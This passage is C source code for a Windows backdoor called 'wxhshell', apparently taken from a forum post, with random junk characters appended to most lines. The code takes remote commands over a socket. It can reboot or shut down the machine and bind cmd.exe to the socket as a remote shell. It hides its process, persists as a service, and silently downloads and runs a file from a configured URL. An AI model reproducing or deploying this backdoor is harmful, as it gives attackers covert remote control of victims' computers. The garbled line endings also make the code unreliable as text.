      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :W.(,65c  
    break; :wAB"TCt0  
  } 1w^[Eno$$  
  // 安装 ^)pY2t<^  
  case 'i': { +60;z4y}w  
    if(Install()) rXX|?9 '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ouTZ'c?  
    else z\5Nni/~6D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TI  
    break; 'a*IZb-M  
    } _@TTVd  
  // 卸载 N8vl< Mq  
  case 'r': { c.WT5|:qw  
    if(Uninstall()) 9U*vnLB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0xcqX!(  
    else b4ivWb|`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X>>rvlDN  
    break; BI]t}7  
    } WG{/I/bJ_  
  // 显示 wxhshell 所在路径 mio'm  
  case 'p': { 9@B+$~:}7  
    char svExeFile[MAX_PATH]; 2[hl^f^%,  
    strcpy(svExeFile,"\n\r"); OpE+e4~IF  
      strcat(svExeFile,ExeFile); (?[cDw/{J:  
        send(wsh,svExeFile,strlen(svExeFile),0); '3->G/Pu  
    break; KA#-X2U/  
    } Hkt'~ L*   
  // 重启 ]0le=Ee^%  
  case 'b': { Mw. +0R!T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w%\;|y4+  
    if(Boot(REBOOT)) Vba}RF[b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl=_ "sd=  
    else { @~ L.m}GF  
    closesocket(wsh); Y."[k&P-  
    ExitThread(0); |O?Aj1g[c?  
    }  &i!]  
    break; )f rtvN7  
    } 0oMMJ6"i   
  // 关机 TW0^wSm  
  case 'd': { KK?~i[aL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vi_|m?E  
    if(Boot(SHUTDOWN)) \zwb>^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\[jafb_`  
    else { ~^*tIIOX  
    closesocket(wsh); ='j  
    ExitThread(0); Z5=!R$4  
    } V'$ eun  
    break; |&Q=9H*e  
    } {cA )jW\'  
  // 获取shell L8 J/GVmj  
  case 's': { }2@$2YR[  
    CmdShell(wsh); CmZ?uo+Y  
    closesocket(wsh); s>X;m.<  
    ExitThread(0); 10&A3C(E  
    break; s@|?N+z  
  } ceCshxTU  
  // 退出 %XeU4yg\e  
  case 'x': { .YkKIei  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5 \J;EWTU  
    CloseIt(wsh); oSoG&4  
    break; K\q/JuDfc  
    } #a&Vx&7L  
  // 离开 +!(hd  
  case 'q': { |7-tUHMo[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HNPr| (  
    closesocket(wsh); ^ytd~iK8  
    WSACleanup(); $j/F7.S  
    exit(1); :EjIV]e  
    break; !QovpO">z  
        } )94R\f  
  } c#DTL/8"DO  
  } ln.~>FO  
Mx }(w\\T  
  // 提示信息 :U s-^zVr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@~V975Y  
} 9[! Hz)|X  
  } rdRX  
/%7eo?@,  
  return; r/e&}!  
} DiX4wmQ  
$4"OD"Z Cq  
// shell模块句柄 jDoWSYu4tY  
int CmdShell(SOCKET sock) %WNy=V9txp  
{ oKac~}_KL  
STARTUPINFO si; ^cNP ?7g7  
ZeroMemory(&si,sizeof(si)); mR^D55k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k#.co~kS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @&+ 1b=  
PROCESS_INFORMATION ProcessInfo; <3bh-)  
char cmdline[]="cmd"; K02./ut-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2gGJ:,RC$  
  return 0; {e^llfj$#  
} Tla*V#:Ve  
;,1i,?  
// 自身启动模式 k|V{jB G"@  
int StartFromService(void) 580t@?  
{ b} *cw2  
typedef struct +CkK4<dF  
{ q )[g VL  
  DWORD ExitStatus; ;H^!yj5H  
  DWORD PebBaseAddress;  4Zq5  
  DWORD AffinityMask; Xw%z#6l  
  DWORD BasePriority;  -<sXvn  
  ULONG UniqueProcessId; oOlI*/OMb  
  ULONG InheritedFromUniqueProcessId; o kYsjK5  
}   PROCESS_BASIC_INFORMATION;  JeA}d  
M3V[p9>  
PROCNTQSIP NtQueryInformationProcess; mNJB0B};m  
0ePZxOSjD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mKg~8q 3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L,<.rr$:  
u{ng\d*KE}  
  HANDLE             hProcess; `uU@(  
  PROCESS_BASIC_INFORMATION pbi; Rg6>6.fk*  
1pK7EK3R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m^7pbJ\|  
  if(NULL == hInst ) return 0; 7mN?;X33  
)mEF_ &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rq*m x<HDX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qfu;X-$4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,rd+ dN  
U:>O6"  
  if (!NtQueryInformationProcess) return 0; 5~kf:U%~  
0kkiS 3T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O ?4V($  
  if(!hProcess) return 0; n'gfB]H[  
?`r/_EKNv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fq(e~Aqw$  
mF1oY[xa_  
  CloseHandle(hProcess); &ke4":7X  
R[V%59#{Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x .q%O1  
if(hProcess==NULL) return 0; W% P&o}'  
^Ni)gm{?k  
HMODULE hMod; + $-a:zx`l  
char procName[255]; *+IUGR  
unsigned long cbNeeded; *M*k-Z':.*  
^j` vk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k@2gw]y"  
I#0.72:[  
  CloseHandle(hProcess); Z-Uq89[HZ  
GgtL./m  
if(strstr(procName,"services")) return 1; // 以服务启动 WO{N@f^  
T \AuL  
  return 0; // 注册表启动 arB$&s  
} K5KN}sRs"  
, ^nUi c  
// 主模块 +bXZE  
int StartWxhshell(LPSTR lpCmdLine) p)oW'#@a  
{ OjCT%6hy;  
  SOCKET wsl; 23=;v@  
BOOL val=TRUE; YmwVa s  
  int port=0; _EY :vv  
  struct sockaddr_in door; qgDBu\  
1pn167IQL  
  if(wscfg.ws_autoins) Install(); .D)}MyKnu  
1>2397  
port=atoi(lpCmdLine); JUE>g8\b  
uPqPoI>N!  
if(port<=0) port=wscfg.ws_port; w+}dm^X  
0Zq" -  
  WSADATA data; :K&hGZ+5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eAqQ~)8^  
l YhwV\3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O<Kr6+ -  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gW, ET  
  door.sin_family = AF_INET; Rl(b tr1w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XBc+_=)$  
  door.sin_port = htons(port); }bHpFe  
"mOoGy, (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HGKm?'['   
closesocket(wsl); 'Go'87+`  
return 1; ,&k 5Qq  
} wOsr#t7  
[9L(4F20  
  if(listen(wsl,2) == INVALID_SOCKET) { Q.fBuF  
closesocket(wsl); ^_oLhNoez2  
return 1; ;A C] *  
} LJ)3!Q/:  
  Wxhshell(wsl); bcZuV5F&  
  WSACleanup(); F ^\v`l,  
Bj2rA.M  
return 0; ?{[H+hzz0  
wO"Q{oi+  
} :eO]65N  
}}]Y mf  
// 以NT服务方式启动 F-X>| oK>z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mZ5UaSG  
{ rS jC/O&b  
DWORD   status = 0; qEpBzQ&gX6  
  DWORD   specificError = 0xfffffff; )uaB^L1  
#Y:/^Q$_qS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZibODs=f;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #4Z$O(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *iR`mZb  
  serviceStatus.dwWin32ExitCode     = 0; ]* Hz'  
  serviceStatus.dwServiceSpecificExitCode = 0; 6nDx;x&Q  
  serviceStatus.dwCheckPoint       = 0; (lm/S_U$  
  serviceStatus.dwWaitHint       = 0; VjnSi  
iN><m|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #K[ @$BY:  
  if (hServiceStatusHandle==0) return; qq/Cn4fN8  
?ix,Cu@M  
status = GetLastError(); 8]c`n!u=`  
  if (status!=NO_ERROR) !6KEW,  
{ O+yR+aXr'8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C{Zv.+F  
    serviceStatus.dwCheckPoint       = 0;  2O  
    serviceStatus.dwWaitHint       = 0; uZ^i8;i  
    serviceStatus.dwWin32ExitCode     = status; L`!sV-.  
    serviceStatus.dwServiceSpecificExitCode = specificError; I@\{6hw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&'*Z\*ya  
    return; D^u{zZy@e  
  } FlZ]R  
2.[qcs3zl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LY>JE6zTt  
  serviceStatus.dwCheckPoint       = 0; /t/q$X  
  serviceStatus.dwWaitHint       = 0; &><`?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fx|9*|E  
} iaC$K@a{  
[brrziZ  
// 处理NT服务事件,比如:启动、停止 y5#_@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N.<hZ\].=  
{ XC$~!  
switch(fdwControl) =_86{wlk  
{ uqnZ  
case SERVICE_CONTROL_STOP: @X#m]ou  
  serviceStatus.dwWin32ExitCode = 0; B^qB6:\t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `7j,njCX.  
  serviceStatus.dwCheckPoint   = 0; 4{R`  
  serviceStatus.dwWaitHint     = 0; M(BZ<,9V  
  { &qC>*X.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pg<>Ow5,~l  
  } -"<f(  
  return; 5YCbFk^  
case SERVICE_CONTROL_PAUSE: 0jmlsC>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P TP2QAt  
  break; ieI-_]|[  
case SERVICE_CONTROL_CONTINUE: j oG>=o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Ls36E8f=  
  break; 9p.>L8  
case SERVICE_CONTROL_INTERROGATE: u|ZO"t  
  break; 7^L&YV W  
}; %Xl@o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71%u|k8|  
} -FI1$  
 fwEi//1  
// 标准应用程序主函数 J]UH q$B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '3Ri/V,  
{ #&Ee5xM=  
,Tx8^|b#F  
// 获取操作系统版本 VX%+!6+fS  
OsIsNt=GetOsVer(); Ixw,$%-]y6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;1%a:#5  
)&9RoW()?  
  // 从命令行安装 .EdV36$n  
  if(strpbrk(lpCmdLine,"iI")) Install(); _=MWt_A '3  
hD*?\bBs0  
  // 下载执行文件 wB^a1=C  
if(wscfg.ws_downexe) { PjHm#a3zg%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e#('`vGB  
  WinExec(wscfg.ws_filenam,SW_HIDE); RB"rx\u7K  
} Ie~~LU  
EkX6> mo  
if(!OsIsNt) { 0#JBz\  
// 如果时win9x,隐藏进程并且设置为注册表启动 R<=t{vTJ5  
HideProc(); 5f5ZfK3<i  
StartWxhshell(lpCmdLine); &<V~s/n=6?  
} 4!jHZ<2 Z  
else 0TpA3K  
  if(StartFromService()) 8`2K=`]ES+  
  // 以服务方式启动 ;W].j%]L e  
  StartServiceCtrlDispatcher(DispatchTable); k-U/x"Pl  
else =N c`hP  
  // 普通方式启动 ;vitg"Zh>  
  StartWxhshell(lpCmdLine); ~iWSc8-  
93\,m+-  
return 0; >MT)=4 9q  
}
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只看该作者 1 发表于: 2006-10-10
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